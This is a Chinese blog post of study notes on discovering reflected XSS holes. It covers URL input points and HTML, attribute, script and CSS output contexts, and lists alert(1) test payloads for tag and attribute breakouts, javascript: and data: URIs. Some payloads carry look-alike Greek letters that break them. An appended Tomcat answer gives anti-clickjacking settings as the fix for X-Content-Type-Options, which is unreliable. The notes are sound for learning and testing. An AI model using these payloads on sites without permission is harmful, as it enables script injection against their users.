web前端黑客技术揭秘学习笔记-XSS漏洞挖掘

0X00

URL 的一种常见组成模式如下:

<scheme>://<netloc>/<path>?<query>#<fragment>

比如,一个最普通的URL 如下:

http://www.foo.com/path/f.php?id=1&type=cool#new

对应关系如下:

<scheme> - http

<netloc> - www.foo.com

<path> - /path/f.php

<query> -id=1&type=cool,包括<参数名=参数值>对

<fragment> - new

对这个URL 来说,攻击者可控的输入点有<path>、<query>、<fragment>三个部分。这

三部分对攻击者(或挖掘工具)来说,其意义非常明确。

那么看下面这个URL:

http://www.foo.com/path/1/id#new

攻击者可以知道是/path 还是<path>,1 是参数值,id 是参数名.

0x01

攻击者可控的输入点有<path>、<query>、<fragment>
三个,其实<fragment>里的值一般不会出现在服务端解析,除非Web 2.0 网站,比如twitter,
它的URL 格式如下:
http://twitter.com/evilcos!#status
请求时,第一步会通过JavaScript 的location.href 获取到完整的URL,并解析出status
值,然后通过各种AJAX 函数来处理请求,最后进行各种局部页面的异步刷新。用户体验
很好,可是爬虫很抓狂。同样,对这部分的反射型XSS 挖掘就困难了很多,我们先从简单
的入手,这个<fragment>暂时跳过。

0x02 XSS测试语句

由于<path>和<query>的情况很相似,所以,下面以流行的<query>为例进行说明。
看下面一个普通的URL:
http://www.foo.com/xss.php?id=1
攻击者会这样进行XSS 测试,将如下payloads 分别添加到id=1:
<script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ οnerrοr=alert(1)/>
'"><img/src=@ οnerrοr=alert(1)/>
Web 前端黑客技术揭秘
128
' οnmοuseοver=alert(1) x='
" οnmοuseοver=alert(1) x="
` οnmοuseοver=alert(1) x=`
javascript:alert(1)//
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
'";alert(1)//
</script><script>alert(1)//
}x:expression(alert(1))
alert(1)//
*/-->'"></iframe></script></style></title></textarea></xmp></noscript></
noframes></plaintext><script>alert(1)</script>
然后根据请求后的反应来看是否有弹出窗或者引起浏览器脚本错误。如果出现这些情
况,就几乎可以认为目标存在XSS 漏洞。这些payloads 都很有价值,它们也存在很大的差
异,玄机就出现在HTML 中。


针对这个URL,我们利用的输入点是id=1,那么输出在哪里?可能有如下几处。
 HTML 标签之间,比如:出现在<div id="body">[输出]</div>位置。
 HTML 标签之内,比如:出现在<input type="text" value="[输出]" />位置。
 成为 JavaScript 代码的值,比如:<script>a="[输出]";...</script>位置。
 成为 CSS 代码的值,比如:<style>body{font-size:[输出]px;...}</style>位置。
基本上就这以上四种情况,不过我们对这四种情况还可以细分,你会发现各种差异与
陷阱。下面假设服务端不对用户输入与响应输出做任何编码与过滤。
1.HTML 标签之间
最普通的场景出现在<div id="body">[输出]</div>位置,那么提交:
id=1<script>alert(1)</script>

就可以触发XSS 了。可如果出现在下面这些标签中呢?
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<plaintext></plaintext>
比如,代码<title><script>alert(1)</script></title>会弹出提示框吗?答案是:都不会!这些标签之间无法执行脚本。XSS 漏洞挖掘机制必须具备这样的区分能力,比如,发现出现在<title></title>中,就将提交的payload 变为:</title><script>alert(1)</script>除了这些,还有两类特殊的标签<script>和<style>,它们是不能嵌套标签的,而且
payload 构造情况会更灵活,除了闭合对应的标签外,还可以利用它们自身可执行脚本的性质来构造特殊的payload,这在下面介绍。

2.HTML 标签之内
最普通的场景出现在<input type="text" value="[输出]" />位置,要触发XSS,有以下两种方法:
 提交 payload:" οnmοuseοver=alert(1) x=",这种是闭合属性,然后使用on 事件来触
发脚本。
 提交 payload:"><script>alert(1)</script>,这种是闭合属性后又闭合标签,然后直接
执行脚本。

题外话:
先来看看这两个payload 哪个更好,如果对比利用效果,自然是第二个更好,因为它可直接执行。可是在工具挖掘中,哪个payload 的成功率更高呢?从对比可知,
第二个比第一个多了<>字符,而很多情况下,目标网站防御XSS 很可能就过滤或编码了<>字符,所以第一个payload 的成功率会更高,这也是漏洞挖掘工具在这个场景中
必须优先使用的payload。换句话说,我们的工具必须知道目标环境的特殊性,然后进行针对性的挖掘,而不应该盲目。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据提供的引用内容,X-XSS-Protection和X-Content-Type-Options都是用来防范XSS攻击的响应头。其中,X-XSS-Protection可以关闭或启用XSS保护,而X-Content-Type-Options可以防止浏览器将响应内容解释为MIME类型不正确的脚本。下面是Tomcat8如何解决这两个漏洞的方法: 1. 解决X-XSS-Protection漏洞 在Tomcat8中,可以通过修改web.xml文件来添加X-XSS-Protection响应头。具体步骤如下: - 打开Tomcat8的web.xml文件,路径为:$CATALINA_HOME/conf/web.xml。 - 在文件中找到以下代码块: ```xml <filter> <filter-name>httpHeaderSecurity</filter-name> <filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class> </filter> <filter-mapping> <filter-name>httpHeaderSecurity</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> ``` - 在该代码块中添加以下代码: ```xml <init-param> <param-name>xssProtectionEnabled</param-name> <param-value>true</param-value> </init-param> ``` - 保存并关闭文件,重启Tomcat8即可。 2. 解决X-Content-Type-Options漏洞 在Tomcat8中,可以通过修改web.xml文件来添加X-Content-Type-Options响应头。具体步骤如下: - 打开Tomcat8的web.xml文件,路径为:$CATALINA_HOME/conf/web.xml。 - 在文件中找到以下代码块: ```xml <filter> <filter-name>httpHeaderSecurity</filter-name> <filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class> </filter> <filter-mapping> <filter-name>httpHeaderSecurity</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> ``` - 在该代码块中添加以下代码: ```xml <init-param> <param-name>antiClickJackingEnabled</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>antiClickJackingOption</param-name> <param-value>SAMEORIGIN</param-value> </init-param> ``` - 保存并关闭文件,重启Tomcat8即可。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值